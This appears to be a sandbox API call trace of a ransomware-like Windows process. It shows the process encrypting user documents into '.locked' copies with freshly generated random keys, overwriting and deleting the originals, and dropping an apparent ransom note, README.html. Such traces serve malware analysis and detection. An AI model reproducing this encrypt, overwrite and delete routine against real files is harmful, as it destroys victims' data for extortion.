	[0075.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.405] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0075.405] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.405] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0075.405] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0075.405] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0075.408] SetEvent (hEvent=0x78) returned 1
	[0075.408] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x7547, lpOverlapped=0x0) returned 1
	[0075.409] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x7547, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x7547, lpOverlapped=0x0) returned 1
	[0075.410] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0075.410] CloseHandle (hObject=0xc4) returned 1
	[0075.411] CloseHandle (hObject=0xc0) returned 1
	[0075.411] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.411] SetEvent (hEvent=0x78) returned 1
	[0075.411] SetEvent (hEvent=0x80) returned 1
	[0075.411] SetEvent (hEvent=0xb4) returned 1
	[0075.411] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.412] SetEvent (hEvent=0xa8) returned 1
	[0075.412] SetEvent (hEvent=0xb4) returned 1
	[0075.412] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0075.414] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx")) returned 1
	[0075.432] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.432] SetEvent (hEvent=0xa8) returned 1
	[0075.432] SetEvent (hEvent=0x80) returned 1
	[0075.436] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.437] SetEvent (hEvent=0x80) returned 1
	[0075.437] SetEvent (hEvent=0xb4) returned 1
	[0075.437] SetEvent (hEvent=0x78) returned 1
	[0075.437] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.437] SetEvent (hEvent=0x78) returned 1
	[0075.439] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.439] SetEvent (hEvent=0x78) returned 1
	[0075.439] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.439] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.440] SetEvent (hEvent=0x78) returned 1
	[0075.440] SetEvent (hEvent=0xb4) returned 1
	[0075.440] SetEvent (hEvent=0x80) returned 1
	[0075.440] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.440] SetEvent (hEvent=0x80) returned 1
	[0075.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.441] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0075.441] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.457] CloseHandle (hObject=0xc0) returned 1
	[0075.465] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx")) returned 1
	[0075.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb749f1b0, ftCreationTime.dwHighDateTime=0x1d4dafb, ftLastAccessTime.dwLowDateTime=0xc7b0ce70, ftLastAccessTime.dwHighDateTime=0x1d4b391, ftLastWriteTime.dwLowDateTime=0xc7b0ce70, ftLastWriteTime.dwHighDateTime=0x1d4b391, nFileSizeHigh=0x0, nFileSizeLow=0x16738)) returned 1
	[0075.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.475] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0075.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.476] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0075.476] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0075.476] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0075.476] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.476] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0075.478] SetEvent (hEvent=0xb4) returned 1
	[0075.478] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x16738, lpOverlapped=0x0) returned 1
	[0075.481] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x16738, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x16738, lpOverlapped=0x0) returned 1
	[0075.482] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0075.483] CloseHandle (hObject=0xc4) returned 1
	[0075.484] CloseHandle (hObject=0xc0) returned 1
	[0075.484] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0075.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] SetEvent (hEvent=0xb4) returned 1
	[0075.485] SetEvent (hEvent=0x80) returned 1
	[0075.485] SetEvent (hEvent=0x78) returned 1
	[0075.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] SetEvent (hEvent=0x78) returned 1
	[0075.485] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x46) returned 1
	[0075.487] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx")) returned 1
	[0075.505] SetEvent (hEvent=0x80) returned 1
	[0075.510] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.510] SetEvent (hEvent=0x80) returned 1
	[0075.510] SetEvent (hEvent=0x78) returned 1
	[0075.510] SetEvent (hEvent=0xb4) returned 1
	[0075.510] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.511] SetEvent (hEvent=0xa8) returned 1
	[0075.511] SetEvent (hEvent=0xb4) returned 1
	[0075.513] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.513] SetEvent (hEvent=0xb4) returned 1
	[0075.513] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.513] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.514] SetEvent (hEvent=0xb4) returned 1
	[0075.514] SetEvent (hEvent=0x78) returned 1
	[0075.514] SetEvent (hEvent=0x80) returned 1
	[0075.514] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.514] SetEvent (hEvent=0x80) returned 1
	[0075.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.515] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0075.515] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.531] CloseHandle (hObject=0xc0) returned 1
	[0075.539] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvnpUtkIx63C1rzbXRhw.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvnputkix63c1rzbxrhw.docx")) returned 1
	[0075.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c1b290, ftCreationTime.dwHighDateTime=0x1d52bcd, ftLastAccessTime.dwLowDateTime=0xe6aa8080, ftLastAccessTime.dwHighDateTime=0x1d4eade, ftLastWriteTime.dwLowDateTime=0xe6aa8080, ftLastWriteTime.dwHighDateTime=0x1d4eade, nFileSizeHigh=0x0, nFileSizeLow=0x15df)) returned 1
	[0075.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.549] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0075.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.550] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0075.550] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0075.550] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0075.550] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0075.550] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0075.552] SetEvent (hEvent=0x78) returned 1
	[0075.552] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x15df, lpOverlapped=0x0) returned 1
	[0075.553] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15df, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x15df, lpOverlapped=0x0) returned 1
	[0075.553] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0075.553] CloseHandle (hObject=0xc4) returned 1
	[0075.554] CloseHandle (hObject=0xc0) returned 1
	[0075.554] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0075.555] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] SetEvent (hEvent=0x78) returned 1
	[0075.555] SetEvent (hEvent=0x80) returned 1
	[0075.555] SetEvent (hEvent=0xb4) returned 1
	[0075.555] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] SetEvent (hEvent=0xa8) returned 1
	[0075.556] SetEvent (hEvent=0xb4) returned 1
	[0075.556] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x43) returned 1
	[0075.557] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx")) returned 1
	[0075.575] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.575] SetEvent (hEvent=0xa8) returned 1
	[0075.575] SetEvent (hEvent=0x80) returned 1
	[0075.579] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.580] SetEvent (hEvent=0x80) returned 1
	[0075.580] SetEvent (hEvent=0xb4) returned 1
	[0075.580] SetEvent (hEvent=0x78) returned 1
	[0075.580] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.580] SetEvent (hEvent=0x78) returned 1
	[0075.582] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.582] SetEvent (hEvent=0x78) returned 1
	[0075.582] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.582] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.582] SetEvent (hEvent=0x78) returned 1
	[0075.583] SetEvent (hEvent=0xb4) returned 1
	[0075.583] SetEvent (hEvent=0x80) returned 1
	[0075.583] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.583] SetEvent (hEvent=0x80) returned 1
	[0075.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.584] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0075.584] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.600] CloseHandle (hObject=0xc0) returned 1
	[0075.609] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uddpH51fz2A7yQPy3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uddph51fz2a7yqpy3.docx")) returned 1
	[0075.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x909007e0, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xad46de20, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0xad46de20, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0075.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x909007e0, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xad46de20, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0xad46de20, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x909007e0, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xad46de20, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0xad46de20, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7868eb90, ftCreationTime.dwHighDateTime=0x1d4c5ed, ftLastAccessTime.dwLowDateTime=0x15f2ef70, ftLastAccessTime.dwHighDateTime=0x1d4d3de, ftLastWriteTime.dwLowDateTime=0x15f2ef70, ftLastWriteTime.dwHighDateTime=0x1d4d3de, nFileSizeHigh=0x0, nFileSizeLow=0x52e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="blGRvAO.pps", cAlternateFileName="")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf40bcb0, ftCreationTime.dwHighDateTime=0x1d4d3b1, ftLastAccessTime.dwLowDateTime=0x7e6e9a40, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x7e6e9a40, ftLastWriteTime.dwHighDateTime=0x1d4c6cd, nFileSizeHigh=0x0, nFileSizeLow=0xf648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bqf77uf1A55AN8jmxE0.docx", cAlternateFileName="BQF77U~1.DOC")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e55290, ftCreationTime.dwHighDateTime=0x1d4c7fd, ftLastAccessTime.dwLowDateTime=0xa98196a0, ftLastAccessTime.dwHighDateTime=0x1d4cdf9, ftLastWriteTime.dwLowDateTime=0xa98196a0, ftLastWriteTime.dwHighDateTime=0x1d4cdf9, nFileSizeHigh=0x0, nFileSizeLow=0x132a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hTL2X-ua0.xlsx", cAlternateFileName="HTL2X-~1.XLS")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa64060, ftCreationTime.dwHighDateTime=0x1d4d415, ftLastAccessTime.dwLowDateTime=0xa998f260, ftLastAccessTime.dwHighDateTime=0x1d4d06e, ftLastWriteTime.dwLowDateTime=0xa998f260, ftLastWriteTime.dwHighDateTime=0x1d4d06e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="LlnXf.xls", cAlternateFileName="")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63e681f0, ftCreationTime.dwHighDateTime=0x1d4d583, ftLastAccessTime.dwLowDateTime=0x999c57a0, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x999c57a0, ftLastWriteTime.dwHighDateTime=0x1d4d3d2, nFileSizeHigh=0x0, nFileSizeLow=0xe670, dwReserved0=0x0, dwReserved1=0x0, cFileName="RuF fqkFm-urxCQfPr0I.ppt", cAlternateFileName="RUFFQK~1.PPT")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb292b4e0, ftCreationTime.dwHighDateTime=0x1d4c868, ftLastAccessTime.dwLowDateTime=0xc3cc9bc0, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0xc3cc9bc0, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zxy1zpsMEyu9i-oEm", cAlternateFileName="ZXY1ZP~1")) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0075.620] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0075.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.620] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0075.622] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0075.623] CloseHandle (hObject=0xc0) returned 1
	[0075.623] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee8b0*=0x55) returned 1
	[0075.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf40bcb0, ftCreationTime.dwHighDateTime=0x1d4d3b1, ftLastAccessTime.dwLowDateTime=0x7e6e9a40, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x7e6e9a40, ftLastWriteTime.dwHighDateTime=0x1d4c6cd, nFileSizeHigh=0x0, nFileSizeLow=0xf648)) returned 1
